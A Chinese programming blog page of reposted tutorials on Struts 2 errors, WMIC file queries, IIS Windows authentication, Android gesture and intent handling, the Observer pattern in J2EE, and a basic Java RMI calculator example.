常用链接

统计

最新评论

2007年10月23日 #

Create Struts 2 Application in Eclipse : HTTP Status 500

http://viralpatel.net/blogs/2009/12/tutorial-create-struts-2-application-eclipse-example.html 

problem:

HTTP Status 500 

java.lang.NullPointerException 	
org.apache.struts2.impl.StrutsActionProxy.getErrorMessage(StrutsActionProxy.java:69)
com.opensymphony.xwork2.DefaultActionProxy.prepare(DefaultActionProxy.java:185)
resolve problem:
1. struts.xml should under src
2. in struts.xml:  
<action name="login" method="excute"
class="net.viralpatel.struts2.LoginAction">

posted @ 2012-04-21 02:41 九宝 阅读(386) | 评论 (0)编辑 收藏

How to check file properties through WMI command line (fw)

How to check file properties through WMI command line

24.Sep.2009 | by Gusac | Filed in: Articles, Tutorials

With the lack of Graphical Interface on Windows 2008 Core server there comes a need of performing a lot of task through command line. One of which is checking file properties like file version, path, product verision etc. Luckily we have a command that makes this task simple. On a side note, We can also run the same command on other operating systems like Windows Xp, 2003, vista.

Here is the command:
wmic datafile where name='c:\\windows\\system32\\notepad.exe'

Click here to view the enlarged screenshot

Notice that we have used two backslashes \\ in the file path. Also, notice that the path is enclosed in the single quotes.
The output will be confusing to read in command prompt window. To read and understand it better, we can take the output in text format and read it in notepad.

While doing so, please do NOT wrap the text.
wmic datafile where name='c:\\windows\\system32\\notepad.exe' > out.txt

Click here to view the enlarged screenshot

The output will reveal the file properties like Hidden, Path, Drive, Version Caption, Access rights etc.

To get one particular property of a file we need to modify the command a little bit. We need to use the GET Alias injunction to the command mentioned above. Let's say we want to check the version for the file notepad.exe. The command that is used for this is:
wmic datafile where name='c:\\windows\\system32\\notepad.exe' get version

Similarily, there is a list of properties that can be fetched through this command line. They are:

Access Rights
Caption
Class Name
Compressed
Compression Method
Computer System Class Name
Computer System Name
Creation Date
Current File Open Count
Description
Drive
Eight Dot Three File Name
Encrypted
Encryption Method
File Extension
File Name
File System Class Name
File System Name
File Type
Hidden
Install Date
Last Accessed
Last Modified
Manufacturer
Name
Path
Readable
Should Be Archived
Size
Status
System File
Version
Writeable

posted @ 2011-12-07 22:29 九宝 阅读(333) | 评论 (0)编辑 收藏

Windows Authentication

from http://www.iis.net/ConfigReference/system.webServer/security/authentication/windowsAuthentication

Overview

The <windowsAuthentication> element defines configuration settings for the Internet Information Services (IIS) 7 Windows authentication module. You can use Windows authentication when your IIS 7 server runs on a corporate network that is using Microsoft Active Directory service domain identities or other Windows accounts to identify users. Because of this, you can use Windows authentication whether or not your server is a member of an Active Directory domain.

Windows authentication (formerly named NTLM, and also referred to as Windows NT Challenge/Response authentication) is a secure form of authentication because the user name and password are hashed before being sent across the network. When you enable Windows authentication, the client browser sends a strongly hashed version of the password in a cryptographic exchange with your Web server.

Windows authentication supports two authentication protocols, Kerberos and NTLM, which are defined in the <providers> element. When you install and enable Windows authentication on IIS 7, the default protocol is Kerberos. The <windowsAuthentication> element can also contain a useKernelMode attribute that configures whether to use the kernel mode authentication feature that is new to Windows Server 2008.

Windows authentication is best suited for an intranet environment for the following reasons:

  • Client computers and Web servers are in the same domain.
  • Administrators can make sure that every client browser is Internet Explorer 2.0 or later.
  • HTTP proxy connections, which are not supported by NTLM, are not required.
  • Kerberos version 5 requires a connection to Active Directory, which is not feasible in an Internet environment.

New in IIS 7.5

The <extendedProtection> element was introduced in IIS 7.5, which allows you to configure the settings for the new extended protection features that have been integrated into Windows authentication.

Compatibility

Version Notes
IIS 7.5 The <extendedProtection> element was added in IIS 7.5.
IIS 7.0 The <windowsAuthentication> element was introduced in IIS 7.0.
IIS 6.0 The <windowsAuthentication> element replaces portions of the IIS 6.0 AuthType and AuthFlags metabase properties.

Setup

The default installation of IIS 7 does not include the Windows authentication role service. To use Windows authentication on IIS, you must install the role service, disable Anonymous authentication for your Web site or application, and then enable Windows authentication for the site or application.

Note: After you install the role service, IIS 7 commits the following configuration settings to the ApplicationHost.config file.

<windowsAuthentication enabled="false" />

Windows Server 2008 or Windows Server 2008 R2

  1. On the taskbar, click Start, point to Administrative Tools, and then click Server Manager.
  2. In the Server Manager hierarchy pane, expand Roles, and then click Web Server (IIS).
  3. In the Web Server (IIS) pane, scroll to the Role Services section, and then click Add Role Services.
  4. On the Select Role Services page of the Add Role Services Wizard, select Windows Authentication, and then click Next.
  5. On the Confirm Installation Selections page, click Install.
  6. On the Results page, click Close.

Windows Vista or Windows 7

  1. On the taskbar, click Start, and then click Control Panel.
  2. In Control Panel, click Programs and Features, and then click Turn Windows Features on or off.
  3. Expand Internet Information Services, then World Wide Web Services, then Security.
  4. Select Windows Authentication, and then click OK.

How To

How to enable Windows authentication for a Web site, Web application, or Web service

  1. Open Internet Information Services (IIS) Manager:
    • If you are using Windows Server 2008 or Windows Server 2008 R2:
      • On the taskbar, click Start, point to Administrative Tools, and then click Internet Information Services (IIS) Manager.
    • If you are using Windows Vista or Windows 7:
      • On the taskbar, click Start, and then click Control Panel.
      • Double-click Administrative Tools, and then double-click Internet Information Services (IIS) Manager.
  2. In the Connections pane, expand the server name, expand Sites, and then the site, application, or Web service for which you want to enable Windows authentication.
  3. Scroll to the Security section in the Home pane, and then double-click Authentication.
  4. In the Authentication pane, select Windows Authentication, and then click Enable in the Actions pane.

How to enable Extended Protection for Windows authentication

  1. Open Internet Information Services (IIS) Manager:
    • If you are using Windows Server 2008 or Windows Server 2008 R2:
      • On the taskbar, click Start, point to Administrative Tools, and then click Internet Information Services (IIS) Manager.
    • If you are using Windows Vista or Windows 7:
      • On the taskbar, click Start, and then click Control Panel.
      • Double-click Administrative Tools, and then double-click Internet Information Services (IIS) Manager.
  2. In the Connections pane, expand the server name, expand Sites, and then the site, application, or Web service for which you want to enable Extended Protection for Windows authentication.
  3. Scroll to the Security section in the Home pane, and then double-click Authentication.
  4. In the Authentication pane, select Windows Authentication.
  5. Click Enable in the Actions pane.
  6. Click Advanced Settings in the Actions pane.
  7. When the Advanced Settings dialog box appears, select one of the following options in the Extended Protection drop-down menu:
    • Select Accept if you want to enable extended protection while providing down-level support for clients that do not support extended protection.
    • Select Required if you want to enable extended protection without providing down-level support.
  8. Click OK to close the Advanced Settings dialog box.

Configuration

The <windowsAuthentication> element is configurable at the site, application, or virtual directory level in the ApplicationHost.config file.

Attributes

Attribute Description
authPersistNonNTLM Optional Boolean attribute.

Specifies whether IIS automatically reauthenticates every non-NTLM (for example, Kerberos) request, even those on the same connection. False enables multiple authentications for the same connections.

Note: A setting of true means that the client will be authenticated only once on the same connection. IIS will cache a token or ticket on the server for a TCP session that stays established.

The default is false.
authPersistSingleRequest Optional Boolean attribute.

Setting this flag to true specifies that authentication persists only for a single request on a connection. IIS resets the authentication at the end of each request, and forces reauthentication on the next request of the session.

The default value is false.
enabled Required Boolean attribute.

Specifies whether Windows authentication is enabled.

The default value is false.
useKernelMode Optional Boolean attribute.

Specifies whether Windows authentication is done in kernel mode. True specifies that Windows authentication uses kernel mode.

Kernel-mode authentication may improve authentication performance and prevent authentication problems with application pools that are configured to use a custom identity.

As a best practice, do not disable this setting if you use Kerberos authentication and have a custom identity on the application pool.

The default is true.

Child Elements

Element Description
extendedProtection Optional element.

Specifies extended protection options for Windows authentication.

Note: This element was added in IIS 7.5.
providers Optional element.

Specifies security support providers used for Windows authentication.

Configuration Sample

The following default <windowsAuthentication> element is configured at the root ApplicationHost.config file in IIS 7.0, and disables Windows authentication by default. It also defines the two Windows authentication providers for IIS 7.0.

<windowsAuthentication enabled="false">
   <providers>
      <add value="Negotiate" />
      <add value="NTLM" />
   </providers>
</windowsAuthentication>

The following example enables Windows authentication and disables Anonymous authentication for a Web site named Contoso.

<location path="Contoso">
   <system.webServer>
      <security>
         <authentication>
            <anonymousAuthentication enabled="false" />
            <windowsAuthentication enabled="true" />
         </authentication>
      </security>
   </system.webServer>
</location>

Sample Code

The following examples disable Anonymous authentication for a site named Contoso, then enable Windows authentication for the site.

AppCmd.exe

appcmd.exe set config "Contoso" -section:system.webServer/security/authentication/anonymousAuthentication /enabled:"False" /commit:apphost

appcmd.exe set config "Contoso" -section:system.webServer/security/authentication/windowsAuthentication /enabled:"True" /commit:apphost

Note: You must be sure to set the commit parameter to apphost when you use AppCmd.exe to configure these settings. This commits the configuration settings to the appropriate location section in the ApplicationHost.config file.

C#

using System;
using System.Text;
using Microsoft.Web.Administration;

internal static class Sample {

   private static void Main() {

      using(ServerManager serverManager = new ServerManager()) { 
         Configuration config = serverManager.GetApplicationHostConfiguration();

         ConfigurationSection anonymousAuthenticationSection = config.GetSection("system.webServer/security/authentication/anonymousAuthentication", "Contoso");
         anonymousAuthenticationSection["enabled"] = false;

         ConfigurationSection windowsAuthenticationSection = config.GetSection("system.webServer/security/authentication/windowsAuthentication", "Contoso");
         windowsAuthenticationSection["enabled"] = true;

         serverManager.CommitChanges();
      }
   }
}

VB.NET

Imports System
Imports System.Text
Imports Microsoft.Web.Administration

Module Sample
   Sub Main()
      Dim serverManager As ServerManager = New ServerManager
      Dim config As Configuration = serverManager.GetApplicationHostConfiguration

      Dim anonymousAuthenticationSection As ConfigurationSection = config.GetSection("system.webServer/security/authentication/anonymousAuthentication", "Contoso")
      anonymousAuthenticationSection("enabled") = False

      Dim windowsAuthenticationSection As ConfigurationSection = config.GetSection("system.webServer/security/authentication/windowsAuthentication", "Contoso")
      windowsAuthenticationSection("enabled") = True

      serverManager.CommitChanges()
   End Sub
End Module

JavaScript

var adminManager = new ActiveXObject('Microsoft.ApplicationHost.WritableAdminManager');
adminManager.CommitPath = "MACHINE/WEBROOT/APPHOST";

var anonymousAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/anonymousAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso");
anonymousAuthenticationSection.Properties.Item("enabled").Value = false;

var windowsAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/windowsAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso");
windowsAuthenticationSection.Properties.Item("enabled").Value = true;

adminManager.CommitChanges();

VBScript

Set adminManager = CreateObject("Microsoft.ApplicationHost.WritableAdminManager")
adminManager.CommitPath = "MACHINE/WEBROOT/APPHOST"

Set anonymousAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/anonymousAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso")
anonymousAuthenticationSection.Properties.Item("enabled").Value = False

Set windowsAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/windowsAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso")
windowsAuthenticationSection.Properties.Item("enabled").Value = True

adminManager.CommitChanges()

posted @ 2011-09-16 21:46 九宝 阅读(635) | 评论 (0)编辑 收藏

How To Determine if Your Computer Is 32-Bit or 64-Bit(forward)

how to check window version

run: Winver


Here's How:
  1. Open the System Information

    Open the Start menu, and click on Programs -> Accessories -> System Tools -> System Information

     

  2. Look in the System Summary

    The System Information tool will display detailed information about your Windows operating system. Once opened it will show the "System Summary" – it’s an overview of your computer and operating system.

  3. Look for the System Type Item

    On the right hand side of the window you will see a list of items. Look for the item called "System Type".

    The value of this item will tell you whether your computer is 32-bit or 64-bit:

    • x86-based PC: It’s a 32-bit computer.
    • x64-based PC: It’s a 64-bit computer.

     

posted @ 2011-09-16 03:34 九宝 阅读(243) | 评论 (0)编辑 收藏

ContentProvider分析

     摘要: ContentProvider何时创建呢?这是一个值得深思的问题?  据我这两天的了解是在你要用到的时候才会调用ContentProvider的onCreate函数进行创建。你就会什么时候叫要用到的时候呢?比如你要查询或删除修改数据库的时候通过ContentResolver的quire或delete来操纵数据时就会调用ContentProvider的onCreate函数,若已经创建了数...  阅读全文

posted @ 2011-02-18 14:51 九宝 阅读(1850) | 评论 (0)编辑 收藏

GestureDetector手势识别类 (转)

View是在onTouchEvent(MotionEvent event)里对用户的动作做了一定的分析,从而通知我们是发生了点击还是长按等事件。

我们需要创建一个GestureDetector的对象,传入listener对象,view接收到的onTouchEvent中将event传给GestureDetector进行分析listener会回调给我们相应的动作。其中GestureDetector.SimpleOnGestureListenerFramework帮我们简化了)是实现了上面提到的OnGestureListenerOnDoubleTapListener两个接口的类,我们只需要继承它并重写其中我们关心的回调即可。

,那么,这个类如何使用呢?以下是使用该类的一个范例:

private GestureDetector mGestureDetector;

@Override

public void onCreate(Bundle savedInstanceState) {


  super.onCreate(savedInstanceState);


  mGestureDetector = new GestureDetector(this, new MyGestureListener());


}


@Override

public boolean onTouchEvent(MotionEvent event) {

 return mGestureDetector.onTouchEvent(event); 

/*  有关上面的 onTouchEvent方法,我们可以直接判断MotionEvent的类型,

    对于手势移动仅仅捕获ACTION_MOVE即可,

    我们通过参数MotionEvent e1, MotionEvent e2,float distanceX, float distanceY可以获取操作变化。

   比如 distanceX > 0 向右边移动,distanceX < 0 则向左边,distanceY > 0 向上滚动, distanceY < 0 向下滚动。

*/

}


class MyGestureListener extends GestureDetector.SimpleOnGestureListener{

  @Override

  public boolean onSingleTapUp(MotionEvent ev) {

    Log.d("onSingleTapUp",ev.toString());

    return true;

  }


  @Override

  public void onShowPress(MotionEvent ev) {

    Log.d("onShowPress",ev.toString());

  }


  @Override

  public void onLongPress(MotionEvent ev) {

    Log.d("onLongPress",ev.toString());

  }

}

 


更多的回调消息,方便的对用户的动作进行响应

public interface OnGestureListener {

                // Touch down时触发, edown时的MotionEvent

                boolean onDown(MotionEvent e);

                // Touch down之后一定时间(115ms)触发,edown时的MotionEvent

                void onShowPress(MotionEvent e);

                // Touch up时触发,eup时的MotionEvent

                boolean onSingleTapUp(MotionEvent e);

                // 滑动时触发,e1down时的MotionEvente2move时的MotionEvent

                boolean onScroll(MotionEvent e1, MotionEvent e2, float distanceX, float distanceY);

                // Touch down之后一定时间(500ms)触发,edown时的MotionEvent

                void onLongPress(MotionEvent e);

                // 滑动一段距离,up时触发,e1down时的MotionEvente2up时的MotionEvent

                boolean onFling(MotionEvent e1, MotionEvent e2, float velocityX, float velocityY);

} 

public interface OnDoubleTapListener {

                // 完成一次单击,并确定没有二击事件后触发(300ms),edown时的MotionEvent

                boolean onSingleTapConfirmed(MotionEvent e);

                // 第二次单击down时触发,e为第一次down时的MotionEvent

                boolean onDoubleTap(MotionEvent e);

                // 第二次单击down,moveup时都触发,e为不同时机下的MotionEvent

                boolean onDoubleTapEvent(MotionEvent e);

}

boolean  onDoubleTap(MotionEvent e)
解释:双击的第二下Touch down时触发
boolean  onDoubleTapEvent(MotionEvent e)
解释:双击的第二下Touch down和up都会触发,可用e.getAction()区分。
boolean  onDown(MotionEvent e)
解释:Touch down时触发
boolean  onFling(MotionEvent e1, MotionEvent e2, float velocityX, float velocityY)
解释:Touch了滑动一点距离后,up时触发。
void  onLongPress(MotionEvent e)
解释:Touch了不移动一直Touch down时触发
boolean  onScroll(MotionEvent e1, MotionEvent e2, float distanceX, float distanceY)
解释:Touch了滑动时触发。
void  onShowPress(MotionEvent e)
解释:Touch了还没有滑动时触发
(与onDown,onLongPress比较,onDown只要Touch down一定立刻触发。而Touchdown后过一会没有滑动先触发onShowPress再是onLongPress。
所以Touchdown后一直不滑动,onDown->onShowPress->onLongPress这个顺序触发。
boolean  onSingleTapConfirmed(MotionEvent e)
boolean  onSingleTapUp(MotionEvent e)
解释:上面这两个函数都是在touch down后又没有滑动(onScroll),又没有长按(onLongPress),然后Touchup时触发。
点击一下非常快的(不滑动)Touchup:
onDown->onSingleTapUp->onSingleTapConfirmed
点击一下稍微慢点的(不滑动)Touchup:
onDown->onShowPress->onSingleTapUp->onSingleTapConfirmed


posted @ 2011-02-16 15:03 九宝 阅读(525) | 评论 (0)编辑 收藏

onNewIntent 什么时候调用

protected void onNewIntent (Intent intent)

Since: API Level 1

This is called for activities that set launchMode to "singleTop" in their package, or if a client used theFLAG_ACTIVITY_SINGLE_TOP flag when calling startActivity(Intent). In either case, when the activity is re-launched while at the top of the activity stack instead of a new instance of the activity being started, onNewIntent() will be called on the existing instance with the Intent that was used to re-launch it.

An activity will always be paused before receiving a new intent, so you can count on onResume() being called after this method.

Note that getIntent() still returns the original Intent. You can use setIntent(Intent) to update it to this new Intent.


在IntentActivity中重写下列方法:onCreate onStart onRestart  onResume  onPause onStop onDestroy  onNewIntent
一、其他应用发Intent,执行下列方法:
I/@@@philn(12410): onCreate
I/@@@philn(12410): onStart
I/@@@philn(12410): onResume

发Intent的方法:
Uri uri = Uri.parse("philn://blog.163.com");
Intent it = new Intent(Intent.ACTION_VIEW, uri);    
startActivity(it);

二、接收Intent声明:
 <activity android:name=".IntentActivity" android:launchMode="singleTask"
                  android:label="@string/testname">
             <intent-filter>
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.DEFAULT" />
                <category android:name="android.intent.category.BROWSABLE" />
                <data android:scheme="philn"/>
            </intent-filter>
  </activity>

三、如果IntentActivity处于任务栈的顶端,也就是说之前打开过的Activity,现在处于
I/@@@philn(12410): onPause
I/@@@philn(12410): onStop 状态的话
其他应用再发送Intent的话,执行顺序为:
I/@@@philn(12410): onNewIntent
I/@@@philn(12410): onRestart
I/@@@philn(12410): onStart
I/@@@philn(12410): onResume

posted @ 2011-02-14 11:18 九宝 阅读(6192) | 评论 (1)编辑 收藏

Observer模式在J2EE中的实现 [http://35java.com/zhibo/forum.php?mod=viewthread&tid=108&extra=page%3D3]

引言:
            设计模式是经验的文档化。它是对被用来在特定场景下解决一般设计问题的类和相互通信的对象的描述。更通俗的来说,它是一个问题/解决方案对。一旦我们掌握了设计模式,就等于拥有了一支强有力的专家队伍。它甚至能够使面向对象的新手利用前人的经验找出职责明确的类和对象,从而获得优雅的解决方案。由于设计模式也是重构的目标,如果在设计的初期适当地引入设计模式,可以减少重构的工作量。
      但是,我们也不能陷入模式的陷阱,为了使用模式而去套模式,那样会陷入形式主义。我们在使用模式的时候,一定要注意模式的意图(intent),而不要过多的去关注模式的实现细节,因为这些实现细节在特定情况下,可能会发生一些改变。不要顽固地认为设计模式一书中的类图或实现代码就代表了模式本身。
      下面,我们来讨论一下为什么要在分布式、多层系统中使用Observer模式。
      

多层体系结构(multi-tier architecture):
            三层体系结构是多层体系结构中最简单的一种,它一般包括:
      
  • 表示层(presentation)-窗口、报表-
  • 业务逻辑层(business logic)-管理业务过程的任务和规则。它又可以细分为领域对象层(代表领域概念)和服务层(提供数据库交互、安全性、打印报表)。
  • 存储层(storage)-持久化存储机制。如数据库服务器等。
              
图一:三层体系结构
              
      而Java 2平台企业版(J2EE)是一种利用Java 2平台来简化诸多与多级企业解决方案的开发、部署和管理相关的复杂问题的体系结构。它是开放的、基于标准的平台,用以开发、部署和管理N层结构、面向Web的,以服务器为中心的企业级应用。
      为了支持领域对象的复用,并且使领域对象的接口变更所带来的影响最小化。我们将领域层(模型)和表示层(视图)相分离。
      采用模型-视图模式的意义在于:
      
  • 支持聚合度更高的模型定义,使模型的定义可以集中在领域过程的定义,而不是图形界面上。
  • 允许将模型和用户界面并行开发。
  • 使用户界面的需求变化对领域层所造成的影响最小化。
  • 允许建立与一个现有的领域层对象相连接的新视图,同时不影响领域层。
  • 允许一个模型同时有多个视图,例如使用SVG和表格。
  • 允许模型层独立于用户界面层执行。
      而这恰恰与Observer模式的意图相吻合。因此我们有必要跨层来实现Observer模式。
      其实,在应用中更多的是采用MVC框架来架构整个企业应用的。在MVC框架中,Model和View之间存在着依赖关系,是Observer模式的典型应用。当然MVC框架还包括其它模式如Composite模式和Strategy模式。在J2EE平台中,我们可以把Web Tier(包括Jsp和servelet和JavaBean)看作是表示层,EJB Tier看作是领域层。而controller可能跨距Web Tier和 EJB Tier。
      在Java类库中采用Java.util.Observable类和Java.util.Observer接口来实现Observer模式,它们在单个的Java VM.中运行的很好,但如果想在EJB中使用它们就会有一些问题。这正如我们引言中提到的,模式的具体实现在特定情况下,可能会发生一些改变。
      

值传递还是远程引用传递?
                    值传递:        
在Java RMI中要求所有的参数和返回类型是JAVA的基本类型或实现Java.io.Serilizable的对象。串行化对象通过值传递(又名拷贝传递),而不是引用传递,这意味着在某一层中串行化对象的更并不自动影响到其它的对象。      
              远程引用传递:        
对于EJB对象而言,它由两个接口(home接口和remote接口)和一个类组成。容器会根据ejb规范来生成实现上面两个接口的类(我们分别称为xxxEJBHome对象和xxxEjbObject对象)。在较多的容器的实现方案中,xxxEJBHome对象使用了factory模式来创建xxxEjbObject对象;xxxEjbObject对象则采用proxy模式,作为xxxBean的代理类。在生成以上两个对象的同时,容器会从部署文件中读取关于安全、事务、持久性等服务并在xxxEjbObject对象和xxxEJBHome对象中添加以上服务的代码。而且xxxEJBHome对象和xxxEjbObject对象都是分布式对象,我们在此只讨论xxxEjbObject对象。所谓分布式对象,从本质上来讲,分为3个部分:object server、skeleton、stub。其中object server和skeleton位于服务器端,而stub位于客户端。Object server负责实现业务逻辑,skeleton负责marshal和unmarshal方法签名。      
              
图二:分布式对象
              
      显然,EJB的客户(调用EJB的对象)可以是任何对象,包括EJB和一般的Java类甚至是用任何语言写的corba客户端。
      从EJB的客户视角来看的话,我们只能看到一个home接口、一个remote接口(对于实体bean的话,还可以看见一个主键类,而bean类对客户是不可见的)。但我们从上面的论述,我们可以知道,对于remote接口中地方法调用,实际上是多态地调用XXX_Stub类。即XXX_Stub对象对客户具有可见性(但这种可见性是透明的,即客户不知道这种可见性的存在)。由于,XXX_Stub对象和Object Server实现了相同的接口,并且Object server真正实现了业务逻辑。所以,当在客户端调用XXX_Stub对象的方法时候,XXX_Stub对象通过socket通信机制将方法签名传给XXX_Skeleton对象,XXX_Skeleton对象在去委托Object Server完成业务处理逻辑。因此,Object Server本身发生了改变。我们称XXX_Stub对象是Object Server对象的远程引用,并认为当分布式对象作为参数传递的时候,是通过引用传递的(会产生副作用

posted @ 2011-02-13 19:24 九宝 阅读(406) | 评论 (0)编辑 收藏

RMI的定义(转)http://blog.csdn.net/ocean181/archive/2010/09/02/5857273.aspx

RMI的定义

Java RMI (Remote Method Invocation 远程方法调用)是用Java在JDK1.1中实现的,它大大增强了Java开发分布式应用的能力。Java作为一种风靡一时的网络开发语言,其巨大的威力就体现在它强大的开发分布式网络应用的能力上,而RMI就是开发百分之百纯Java的网络分布式应用系统的核心解决方案之一。其实它可以被看作是RPC的Java版本。但是传统RPC并不能很好地应用于分布式对象系统。而Java RMI 则支持存储于不同地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。

RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP是专为Java的远程对象制定的协议。因此,Java RMI具有Java的“Write Once,Run Anywhere”的优点,是分布式应用系统的百分之百纯Java解决方案。用Java RMI开发的应用系统可以部署在任何支持JRE(Java Run Environment Java,运行环境)的平台上。但由于JRMP是专为Java对象制定的,因此,RMI对于用非Java语言开发的应用系统的支持不足。不能与用非Java语言书写的对象进行通信。

RMI与CORBA的关系

RMI 和CORBA常被视为相互竞争技术,因为两者都提供对远程分布式对象的透明访问。但这两种技术实际上是相互补充的,一者的长处正好可以弥补另一者的短处。RMI 和 CORBA 的结合产生了 RMI-IIOP,RMI-IIOP 是企业服务器端 Java 开发的基础

1997 年,IBM 和 Sun Microsystems启动了一项旨在促进 Java 作为企业开发技术的发展的合作计划。两家公司特别着力于如何将 Java 用作服务器端语言,生成可以结合进现有体系结构的企业级代码。所需要的就是一种远程传输技术,它兼有 Java 的 RMI(Remote Method Invocation,远程方法调用)较少的资源占用量和更成熟的 CORBA(Common Object Request Broker Architecture,公共对象请求代理体系结构)技术的健壮性。出于这一需要,RMI-IIOP问世了,它帮助将 Java 语言推向了目前服务器端企业开发的主流语言的领先地位。

RMI的组成

一个正常工作的RMI系统由下面几个部分组成:

1、远程服务的接口定义

2、远程服务接口的具体实现

3、桩(Stub)和框架(Skeleton)文件

4、一个运行远程服务的服务器

5、一个RMI命名服务,它允许客户端去发现这个远程服务

6、类文件的提供者(一个HTTP或者FTP服务器)

7、一个需要这个远程服务的客户端程序

RMI的实现

下面我们一步一步建立一个简单的RMI系统。首先在你的机器里建立一个新的文件夹,以便放置我们创建的文件,为了简单起见,我们只使用一个文件夹存放客户端和服务端代码,并且在同一个目录下运行服务端和客户端。

如果所有的RMI文件都已经设计好了,那么你需要下面的几个步骤去生成你的系统:

1、   编写并且编译接口的Java代码
2、   编写并且编译接口实现的Java代码
3、   从接口实现类中生成 Stub 和 Skeleton 类文件
4、   编写远程服务的主运行程序
5、   编写RMI的客户端程序
6、   安装并且运行RMI系统

1、接口

第一步就是建立和编译服务接口的Java代码。这个接口定义了所有的提供远程服务的功能,下面是源程序:

   1. //Calculator.java
   2. //define the interface
   3. import java.rmi.Remote;
   4.
   5. public interface Calculator extends Remote
   6. {
   7.     public long add(long a, long b)
   8.         throws java.rmi.RemoteException;
   9.
  10.     public long sub(long a, long b)
  11.         throws java.rmi.RemoteException;
  12.
  13.     public long mul(long a, long b)
  14.         throws java.rmi.RemoteException;
  15.
  16.     public long div(long a, long b)
  17.         throws java.rmi.RemoteException;
  18. }


注意,这个接口继承自Remote,每一个定义的方法都必须抛出一个RemoteException异常对象。

建立这个文件,把它存放在刚才的目录下,并且编译。

>javac Calculator.java

2、接口的具体实现

下一步,我们就要写远程服务的具体实现,这是一个CalculatorImpl类文件:

   1. //CalculatorImpl.java
   2. //Implementation
   3. import java.rmi.server.UnicastRemoteObject;
   4.
   5. public class CalculatorImpl extends UnicastRemoteObject implements Calculator
   6. {
   7.
   8.     // 这个实现必须有一个显式的构造函数,并且要抛出一个RemoteException异常
   9.     public CalculatorImpl()
  10.         throws java.rmi.RemoteException {
  11.         super();
  12.      }
  13.
  14.     public long add(long a, long b)
  15.         throws java.rmi.RemoteException {
  16.         return a + b;
  17.      }
  18.
  19.     public long sub(long a, long b)
  20.         throws java.rmi.RemoteException {
  21.         return a - b;
  22.      }
  23.
  24.     public long mul(long a, long b)
  25.         throws java.rmi.RemoteException {
  26.         return a * b;
  27.      }
  28.
  29.     public long div(long a, long b)
  30.         throws java.rmi.RemoteException {
  31.         return a / b;
  32.      }
  33. }


同样的,把这个文件保存在你的目录里然后编译他。

这个实现类使用了UnicastRemoteObject去联接RMI系统。在我们的例子中,我们是直接的从UnicastRemoteObject 这个类上继承的,事实上并不一定要这样做,如果一个类不是从UnicastRmeoteObject上继承,那必须使用它的exportObject() 方法去联接到RMI。

如果一个类继承自UnicastRemoteObject,那么它必须提供一个构造函数并且声明抛出一个RemoteException对象。当这个构造函数调用了super(),它久激活UnicastRemoteObject中的代码完成RMI的连接和远程对象的初始化。

3、Stubs 和Skeletons

下一步就是要使用RMI编译器rmic来生成桩和框架文件,这个编译运行在远程服务实现类文件上。

>rmic CalculatorImpl

在你的目录下运行上面的命令,成功执行完上面的命令你可以发现一个Calculator_stub.class文件,如果你是使用的Java2SDK,那么你还可以发现Calculator_Skel.class文件。

4、主机服务器

远程RMI服务必须是在一个服务器中运行的。CalculatorServer类是一个非常简单的服务器。

   1. //CalculatorServer.java
   2. import java.rmi.Naming;
   3.
   4. public class CalculatorServer {
   5.
   6.    public CalculatorServer() {
   7.      try {
   8.         Calculator c = new CalculatorImpl();
   9.        Naming.rebind("rmi://localhost:1099/CalculatorService", c);
  10.       } catch (Exception e) {
  11.        System.out.println("Trouble: " + e);
  12.       }
  13.     }
  14.
  15.    public static void main(String args[]) {
  16.      new CalculatorServer();
  17.     }
  18. }


建立这个服务器程序,然后保存到你的目录下,并且编译它。

5、客户端

客户端源代码如下:

   //CalculatorClient.java
   
    import java.rmi.Naming;
    import java.rmi.RemoteException;
    import java.net.MalformedURLException;
   import java.rmi.NotBoundException;
   
   public class CalculatorClient {
   
       public static void main(String[] args) {
         try {
             Calculator c = (Calculator)
                              Naming.lookup(
                    "rmi://localhost
                            /CalculatorService");
               System.out.println( c.sub(4, 3) );
            System.out.println( c.add(4, 5) );
               System.out.println( c.mul(3, 6) );
              System.out.println( c.div(9, 3) );
            }
           catch (MalformedURLException murle) {
               System.out.println();
              System.out.println(
                 "MalformedURLException");
               System.out.println(murle);
            }
           catch (RemoteException re) {
              System.out.println();
               System.out.println(
                          "RemoteException");
               System.out.println(re);
           }
          catch (NotBoundException nbe) {
              System.out.println();
               System.out.println(
                          "NotBoundException");
               System.out.println(nbe);
            }
           catch (
               java.lang.ArithmeticException
                                         ae) {
              System.out.println();
              System.out.println(
               "java.lang.ArithmeticException");
             System.out.println(ae);
            }
       }
   }

保存这个客户端程序到你的目录下(注意这个目录是一开始建立那个,所有的我们的文件都在那个目录下),并且编译他。

6、运行RMI系统

现在我们建立了所有运行这个简单RMI系统所需的文件,现在我们终于可以运行这个RMI系统啦!来享受吧。

我们是在命令控制台下运行这个系统的,你必须开启三个控制台窗口,一个运行服务器,一个运行客户端,还有一个运行RMIRegistry。

首先运行注册程序RMIRegistry,你必须在包含你刚写的类的那么目录下运行这个注册程序。

>rmiregistry

好,这个命令成功的话,注册程序已经开始运行了,不要管他,现在切换到另外一个控制台,在第二个控制台里,我们运行服务器CalculatorService,因为RMI的安全机制将在服务端发生作用,所以你必须增加一条安全策略。以下是对应安全策略的例子
grant {
permission java.security.AllPermission "", "";
};

注意:这是一条最简单的安全策略,它允许任何人做任何事,对于你的更加关键性的应用,你必须指定更加详细安全策略。

现在为了运行服务端,你需要除客户类(CalculatorClient.class)之外的所有的类文件。确认安全策略在policy.txt文件之后,使用如下命令来运行服务器。

> java -Djava.security.policy=policy.txt CalculatorServer

这个服务器就开始工作了,把接口的实现加载到内存等待客户端的联接。好现在切换到第三个控制台,启动我们的客户端。

为了在其他的机器运行客户端程序你需要一个远程接口(Calculator.class) 和一个stub(CalculatorImpl_Stub.class)。 使用如下命令运行客户端

> java -Djava.security.policy=policy.txt CalculatorClient

如果所有的这些都成功运行,你应该看到下面的输出:
1
9
18
3

